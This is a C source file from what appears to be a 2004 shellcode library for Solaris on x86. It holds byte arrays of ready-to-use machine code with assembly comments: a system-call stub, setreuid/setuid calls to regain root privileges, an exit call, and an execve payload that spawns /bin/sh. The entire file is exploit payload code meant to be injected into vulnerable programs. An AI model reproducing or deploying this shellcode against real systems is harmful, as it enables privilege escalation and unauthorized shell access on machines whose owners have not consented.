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sol-x86-shellcode.c
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sol-x86-shellcode.c
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/*
* sol-x86-shellcode.c
* Copyright 2004 Ramon de Carvalho Valle <ramon@risesecurity.org>
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*
*/
char syscallcode[]= /* 14 bytes */
"\x68\xff\xd8\xff\x3c" /* pushl $0x3cffd8ff */
"\x6a\x65" /* pushl $0x65 */
"\x89\xe6" /* movl %esp,%esi */
"\xf7\x56\x04" /* notl 0x04(%esi) */
"\xf6\x16" /* notb (%esi) */
;
char setreuidcode[]= /* 8 bytes */
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x50" /* pushl %eax */
"\xb0\xca" /* movb $0xca,%al */
"\xff\xd6" /* call *%esi */
;
char setuidcode[]= /* 7 bytes */
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\xb0\x17" /* movb $0x17,%al */
"\xff\xd6" /* call *%esi */
;
char exitcode[]= /* 7 bytes */
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\xb0\x01" /* movb $0x01,%al */
"\xff\xd6" /* call *%esi */
;
char shellcode[]= /* 26 bytes */
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68\x2f\x2f\x73\x68" /* pushl $0x68732f2f */
"\x68\x2f\x62\x69\x6e" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x50" /* pushl %eax */
"\x51" /* pushl %ecx */
"\x53" /* pushl %ebx */
"\xb0\x3b" /* movb $0x3b,%al */
"\xff\xd6" /* call *%esi */
;